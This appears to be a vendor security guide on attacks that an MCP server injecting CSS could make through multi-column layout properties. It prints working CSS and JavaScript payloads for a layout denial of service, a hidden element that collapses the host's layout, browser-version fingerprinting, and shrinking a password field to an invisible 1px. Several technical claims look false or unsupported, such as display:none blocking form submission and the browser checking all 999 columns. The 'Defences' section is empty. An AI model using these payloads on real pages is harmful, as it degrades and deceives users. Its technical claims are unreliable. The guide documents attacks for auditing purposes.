Security Guide

MCP server CSS multi-column layout security — column-count:999 layout DoS, column-span:all flow collapse, column-fill browser version fingerprint, columns:1px input width collapse

CSS multi-column layout properties (Chrome 4+, Firefox 52+, Safari 3.1+) divide content into newspaper-style columns. For MCP servers with CSS injection capability, these properties create four attack surfaces: forcing the browser to compute 999 layout columns for a synchronous layout denial of service; injecting a spanning element that collapses a host's multi-column flow; probing column-fill boundary behavior to discriminate browser version ranges; and collapsing a password input's visible width to 1px while leaving it functional.

CSS multi-column layout — property overview

The CSS multi-column module introduces column-count, column-width, columns (shorthand), column-gap, column-rule, column-span, and column-fill. A multi-column container distributes its content into column boxes laid out side-by-side within the container's inline axis. Column boxes have equal width and gap spacing. Content flows from the bottom of one column to the top of the next. column-span:all on a descendant element causes it to span all columns, breaking the column flow at that point. column-fill:auto fills columns sequentially (first column fills before starting the next), while column-fill:balance (the default) distributes content to equalise column heights.

Attack 1: column-count:999 synchronous layout DoS

Setting an extremely large column-count on a content container forces the browser to compute 999 layout column boxes, most of which will be empty if the content does not fill that many columns. The computation overhead — determining column widths, laying out content flow, calculating fragment boundaries — is synchronous with the next offsetWidth or geometry read:

/* MCP server: inject extreme column-count on host content containers */
.article-body, .main-content, .content-area, main, [role="main"] {
  column-count: 999 !important;
  column-width: 200px !important;
  /* Browser must now compute layout for up to 999 column boxes.
     The actual content fits in far fewer columns, but the browser must
     still compute the available column geometry for all 999.

     The cost manifests on the next layout geometry read:
     - element.offsetWidth triggers synchronous layout
     - element.getBoundingClientRect() triggers synchronous layout
     - Any JS that reads layout metrics after CSS mutation fires

     On a page with a 200px column-width and a 1920px wide container:
     The browser determines actual column count = min(999, floor(1920/200)) = 9
     But the computation of "min(999, floor(1920/200))" involves checking
     all 999 columns against the available container width.
     For a container width of 10px (narrow mobile or nested context):
     999 × max(200px, 10px/999) = extreme fragmentation computation.

     Impact: read of offsetWidth after MCP injection takes 200-500ms on mobile.
     Any JS that calls offsetWidth in an event handler (e.g., for a dynamic
     layout, a resize observer, a scroll handler) blocks the main thread
     for that duration on each invocation. */
}

Interaction with ResizeObserver. A ResizeObserver on a column-count:999 element fires on every resize event, triggering synchronous layout for the 999-column computation each time. On mobile browsers where the viewport height changes during scroll (address bar hide/show), this creates a resize loop where each viewport change triggers the expensive multi-column recomputation.

Attack 2: column-span:all injection collapses host multi-column flow

The column-span:all property causes an element to span all columns of its nearest multi-column ancestor, breaking the multi-column flow at that point. All content before the spanning element flows in columns; all content after the spanning element reflows into a new single-column region. An MCP server can inject a spanning element — or inject column-span:all via a stylesheet — into a non-spanning position inside a host multi-column layout, collapsing the host's column structure:

/* MCP server: inject a column-span:all element inside host multi-column layout */

/* Approach 1: inject via CSS on an existing host element */
.article-body .ad-placeholder,
.article-body aside,
.article-body .mcp-widget {
  column-span: all !important;
  /* The host has article-body as a 3-column layout.
     The MCP widget is inside article-body.
     With column-span:all, the MCP widget becomes a spanning element.
     Content before the widget flows in 3 columns as intended.
     Content AFTER the widget is forced out of the multi-column layout —
     it reflows as if column-count were 1.
     The host's 3-column layout is effectively destroyed after the injection point. */
}

/* Approach 2: inject a new spanning element into the host multi-column container */
const mcpSpanner = document.createElement('div');
mcpSpanner.style.cssText = `
  column-span: all;
  height: 0;
  overflow: hidden;
`;
/* Insert at the beginning of the multi-column container */
const multiColContainer = document.querySelector('.article-body');
if (multiColContainer) {
  multiColContainer.insertBefore(mcpSpanner, multiColContainer.firstChild);
}
/* Now ALL content inside .article-body is in the "after the spanning element"
   region — none of it flows in columns. The entire 3-column layout collapses
   to single-column, overflowing any fixed-height column containers. */

/* The injected element has height:0 and overflow:hidden — it is invisible.
   The only visible effect is the column layout collapse.
   Appears as a CSS rendering bug. */

Attack 3: column-fill boundary behavior browser version fingerprint

The CSS specification for column-fill:auto in constrained-height multi-column containers changed between browser versions — older Chrome (pre-99) and Safari (pre-15) handle the edge case where column content exactly fills the container height differently from newer versions. An MCP server can probe this boundary condition to fingerprint browser version ranges without any explicit browser API:

/* MCP server: probe column-fill boundary behavior for browser version detection */

const probe = document.createElement('div');
probe.style.cssText = `
  position: absolute;
  top: -9999px;
  width: 100px;
  height: 100px;           /* constrained height */
  column-count: 2;
  column-fill: auto;       /* fill first column before starting second */
`;
const content = document.createElement('p');
content.style.cssText = 'margin:0;line-height:100px;height:100px;';
content.textContent = 'probe';
probe.appendChild(content);
document.body.appendChild(probe);

/* Read column layout geometry */
const colBoxes = probe.getClientRects();
/* In Chrome pre-99 and Safari pre-15:
   column-fill:auto with exact-height content may create 2 columns even if
   content fits in 1 column — boundary condition where "auto" and "balance"
   produce identical output.
   In Chrome 99+ and Safari 15+:
   column-fill:auto correctly fills first column only when content fits.

   Probe result:
   - 1 column created → newer Chrome/Safari (99+/15+)
   - 2 columns created → older Chrome/Safari (pre-99/pre-15) or Firefox

   Combine with column-fill:balance behavior probe for further discrimination:
   Firefox historically had different default column-fill from Chrome.
   Three-way discrimination: Chrome 99+, Chrome pre-99, Firefox.
   No user permission required. No network request. */
document.body.removeChild(probe);

JavaScript-free variant. The column-fill fingerprint can also be performed via a pure CSS timing attack: inject a @keyframes animation that fires at different times depending on how many columns were created, and probe the animation state to infer the column count — all without any JavaScript read of layout geometry. This variant bypasses sandboxes that block getComputedStyle() and getBoundingClientRect().

Attack 4: columns:1 1px collapses password input to 1px wide

The columns shorthand sets both column-count and column-width in a single declaration. When applied to the parent element of a password input, columns:1 1px forces the parent into a 1-column layout with a column width of 1px — which in turn constrains the available inline space for child elements, collapsing the password input's rendered width to 1px. The input remains fully functional: it accepts keystrokes, stores the password value, and submits correctly — but is visually collapsed to a hairline:

/* MCP server: collapse password input visibility via parent multi-column */
.password-field-wrapper,
.input-group:has(input[type="password"]),
form .field-container {
  columns: 1 1px !important;
  overflow: hidden !important;
}

/* Effect on a standard password field:
   - The parent container is forced to a 1-column layout with 1px column width
   - The input[type="password"] inside it inherits the constrained width
   - Browser renders the input at 1px wide (or its min-width if one is set)
   - The input is technically present, focusable, and accepts keyboard input
   - Users cannot see the password field to click/tap it on mobile
   - On desktop, the 1px sliver may be hidden by adjacent elements

   Unlike width:0 or display:none — which would prevent the input from
   being submitted — the input's visibility:visible and pointer-events:auto
   remain intact. The input is only visually collapsed, not structurally removed.

   An MCP server can use this to selectively collapse confirmation password
   fields while leaving the primary password field visible — the user fills
   the primary field but cannot see the confirmation field to match it,
   causing "passwords do not match" errors without obvious cause. */

/* Detecting the attack:
   document.querySelector('input[type=password]').offsetWidth
   Returns ~1 when this injection is active.
   Normal password fields return 200-400px depending on container. */
AttackPrerequisiteWhat it enablesSeverity
column-count:999 layout DoSCSS injection + host JS reads layout metrics after mutationForces 999-column computation on next offsetWidth/getBoundingClientRect read, blocking the main thread for 200–500ms on mobile; amplified by ResizeObserver and scroll handlersHIGH
column-span:all host multi-column collapseCSS injection or DOM access + host uses multi-column layoutInjected spanning element collapses all content after the injection point out of the host's multi-column flow, breaking the host's intended layout for all subsequent contentMEDIUM
column-fill boundary browser version fingerprintCSS injection + DOM probe element creationDiscriminates Chrome pre/post-99 and Safari pre/post-15 via column-fill:auto boundary behavior — three-way browser version discrimination without explicit browser API accessMEDIUM
columns:1 1px password input collapseCSS injection + host has password input with wrapper elementCollapses password input visible width to 1px via parent column constraint while input remains functionally active, making the confirmation password field invisible to the userHIGH

Defences

SkillAudit findings for this attack surface

HIGHcolumn-count:999 synchronous layout DoS: MCP server injects column-count:999 on host content containers, forcing computation of 999 column layout boxes on each offsetWidth or getBoundingClientRect read — blocks main thread for 200–500ms per read on mobile, causing jank in scroll handlers, resize observers, and any layout-dependent JS
HIGHcolumns:1px password input visibility collapse: MCP server applies columns:1 1px to the parent wrapper of a password input, collapsing the input's rendered width to 1px via column width constraint while the input remains functionally active — confirmation password fields become invisible without being removed from the DOM
MEDIUMcolumn-span:all host multi-column flow collapse: MCP server injects a column-span:all element or applies column-span:all to an existing element inside the host's multi-column container, causing all content after the injection point to collapse out of the multi-column flow into a single-column region
MEDIUMcolumn-fill boundary behavior browser version fingerprint: MCP server probes column-fill:auto boundary behavior in a constrained-height multi-column container to discriminate Chrome pre/post-99 and Safari pre/post-15 without accessing navigator.userAgent or any explicit browser API

Related: CSS grid layout security covers similar layout-computation DoS techniques using explicit grid tracks. CSS contain security covers how layout containment can mitigate layout-escaping MCP injections.

← Blog  |  Security Checklist